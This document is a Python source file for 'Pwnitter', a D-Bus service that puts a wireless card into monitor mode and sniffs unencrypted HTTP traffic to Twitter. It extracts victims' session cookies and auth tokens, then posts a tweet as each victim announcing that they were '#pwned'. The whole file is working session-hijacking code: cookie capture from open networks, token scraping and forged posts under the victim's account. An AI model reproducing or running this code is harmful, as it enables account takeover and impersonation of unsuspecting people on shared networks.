551a2f7b2f8c4b395089591413fce9c24419c314
[pwnitter] / pwnitter.py
1 #!/usr/bin/env python
2 # On Linux (as root):
3 #  * apt-get install libpcap0.8 python-pypcap python-dpkt
4 #  * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 #  * ./idiocy.py -i mon0
6             
7 import dbus.service
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
10 import logging
11 import logging.config
12 import socket
13 import time
14 import gobject
15 import select
16 import subprocess
17
18 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
19
20 def usage(): 
21     print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] 
22     sys.exit(1)
23
24 NAME = 'de.cryptobitch.muelli.Pwnitter'
25
26 class Pwnitter(dbus.service.Object):
27     def __init__(self, bus, object_name, device='mon0'):
28         super(Pwnitter, self).__init__(bus, object_name)
29         self.device = device
30         
31         self.status = status
32         self.is_running = False
33
34     def setup_monitor(device='mon0'):
35         # FIXME: Replace hardcoded interface 
36         cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
37         subprocess.call(cmd)
38         cmd = '/sbin/ifconfig mon0 up'.split()
39         subprocess.call(cmd)
40     
41     @dbus.service.method(NAME,
42                          in_signature='', out_signature='')
43     def Start(self, filename=None):
44         # FIXME: Prevent double Start()
45         if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
46             self.setup_monitor(device)
47             device = self.device
48         else: # We have given a filename, so let's make PCap read from the file
49             device = filename
50         self.is_running = True
51         try:
52             self.cap = pcap.pcap(device)
53         except OSError, e:
54             print "Error setting up %s" % device
55             raise e
56         self.cap.setfilter('dst port 80')
57         cap_fileno = self.cap.fileno()
58         self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) 
59
60     @dbus.service.method(NAME,
61                          in_signature='s', out_signature='')
62     def StartFromFile(self, filename):
63         return self.Start(filename=filename)
64
65     
66     def cap_readable_callback(self, source, condition, device):
67         return self.pwn(device, self.MessageSent)
68         
69     @dbus.service.signal(NAME)
70     def MessageSent(self, who):
71         print "Emitting MessageSent"
72         return who
73         return False
74         pass
75
76     @dbus.service.method(NAME,
77                          in_signature='s', out_signature='')
78     def SetMessage(self, message):
79         self.status = message
80         
81     @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
82                          in_signature='', out_signature='s')
83     def GetMessage(self):
84         return self.status
85
86
87     def tear_down_monitor(self, device='mon0'):
88         cmd = '/sbin/ifconfig mon0 down'.split()
89         subprocess.call(cmd)
90         cmd = '/usr/sbin/iw dev mon0 del'.split()
91         subprocess.call(cmd)
92     
93     @dbus.service.method(NAME,
94                          in_signature='', out_signature='')
95     def Stop(self):
96         self.is_running = False
97         print "Receive Stop"
98         gobject.source_remove(self.source_id)
99         self.tear_down_monitor(self.device)
100         loop.quit()
101
102
103     def pwn(self, device, tweeted_callback=None):
104         log = logging.getLogger('pwn')
105         
106         processed = {}
107         if self.is_running: # This is probably not needed, but I feel better checking it more than too less
108             ts, raw = self.cap.next()
109             eth = dpkt.ethernet.Ethernet(raw)
110             log.debug('got a packet')
111             # Depending on platform, we can either get fully formed packets or unclassified radio data
112             if isinstance(eth.data, str):
113                 data = eth.data
114             else:
115                 data = eth.data.data.data
116
117             hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
118             if hostMatches:
119                 log.debug('Host matched')
120                 host = hostMatches.group(1)
121
122                 cookieMatches = re.search('Cookie: ([^\n]+)', data)
123                 log.debug('CookieMatches? %r', cookieMatches)
124                 if cookieMatches:
125                     cookie = cookieMatches.group(1)
126                     log.debug('yummie Cookie %r', cookie)
127
128                     headers = {
129                         "User-Agent": "Mozilla/5.0",
130                         "Cookie": cookie,
131                     }
132                     
133                     conn = httplib.HTTPSConnection(host)
134                     try:
135                         conn.request("GET", "/", None, headers)
136                     except socket.error, e:
137                         log.error(e)
138                     else:
139                         response = conn.getresponse()
140                         page = response.read()
141
142                         # Newtwitter and Oldtwitter have different formatting, so be lax
143                         authToken = ''
144
145                         formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
146                         if formMatches:
147                             authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
148
149                             if authMatches:
150                                 authToken = authMatches.group(1)
151                                 log.info('Found auth token %r', authToken)
152
153                         nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
154                         if not nameMatches:
155                             nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
156
157                         name = ''
158                         if nameMatches:
159                             name = nameMatches.group(1)
160                             log.info('Found name %r', name)
161
162
163                         # We don't want to repeatedly spam people
164                         # FIXME: What the fuck logic. Please clean up
165                         if not ((not name and host != 'mobile.twitter.com') or name in processed):
166                             headers = {
167                                 "User-Agent": "Mozilla/5.0",
168                                 "Accept": "application/json, text/javascript, */*",
169                                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
170                                 "X-Requested-With": "XMLHttpRequest",
171                                 "X-PHX": "true",
172                                 "Referer": "http://api.twitter.com/p_receiver.html",
173                                 "Cookie": cookie
174                             }
175
176
177                             log.debug('Issueing connection')
178                             if host == 'mobile.twitter.com':
179
180                                 params = urllib.urlencode({
181                                     'tweet[text]': self.status,
182                                     'authenticity_token': authToken
183                                 })
184
185                                 conn = httplib.HTTPConnection("mobile.twitter.com")
186                                 conn.request("POST", "/", params, headers)
187
188                             else:
189
190                                 params = urllib.urlencode({
191                                     'status': self.status,
192                                     'post_authenticity_token': authToken
193                                 })
194
195                                 conn = httplib.HTTPConnection("api.twitter.com")
196                                 conn.request("POST", "/1/statuses/update.json", params, headers)
197
198
199                             response = conn.getresponse()
200                             log.debug('Got response: %s', response.status)
201                             if response.status == 200 or response.status == 302 or response.status == 403:
202
203                                 if name:
204                                     processed[name] = 1
205
206                                 # 403 is a dupe tweet
207                                 if response.status != 403:
208                                     log.info("Successfully tweeted as %s", name)
209                                     if tweeted_callback:
210                                         tweeted_callback(name)
211                                 else:
212                                     log.info('Already tweeted as %s', name)
213
214                             else:
215
216                                 log.error("FAILED to tweet as %s, debug follows:", name)
217                                 log.error("%s, %s", response.status, response.reason)
218                                 log.error("%s", response.read())
219         return self.is_running # Execute next time, we're idle
220     # FIXME: Ideally, check     whether Pcap has got data for us
221
222 def main():
223
224     opts, args = getopt.getopt(sys.argv[1:], 'i:h')
225     device = None
226     for o, a in opts:
227         if o == '-i':
228             device = a
229         else:
230             usage()
231     #pwn(device)
232
233
234
235 if __name__ == '__main__':
236     from optparse import OptionParser
237     parser = OptionParser("usage: %prog [options]")
238     parser.add_option("-l", "--loglevel", dest="loglevel", 
239                       help="Sets the loglevel to one of debug, info, warn, error, critical")
240     parser.add_option("-s", "--session", dest="use_session_bus",
241                       action="store_true", default=False,
242                       help="Bind Pwnitter to the SessionBus instead of the SystemBus")
243     (options, args) = parser.parse_args()
244     loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
245                 'warn': logging.WARN, 'error': logging.ERROR,
246                 'critical': logging.CRITICAL}.get(options.loglevel, "warn")
247     logging.basicConfig(level=loglevel)
248     #logging.config.fileConfig('logging.conf') #FIXME: Have file configured logging
249     log = logging.getLogger("Main")
250
251     dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
252
253     if options.use_session_bus:
254         session_bus = dbus.SessionBus()
255     else:
256         session_bus = dbus.SystemBus()
257     name = dbus.service.BusName(NAME, session_bus)
258     pwnitter = Pwnitter(session_bus, '/Pwnitter')
259     #object.Start()
260
261     loop = gobject.MainLoop()
262     log.info("Running example signal emitter service.")
263     # FIXME: This is debug code
264     #gobject.idle_add(pwnitter.MessageSent)
265     
266     loop.run()
267     print "Exiting for whatever reason"
268     #main()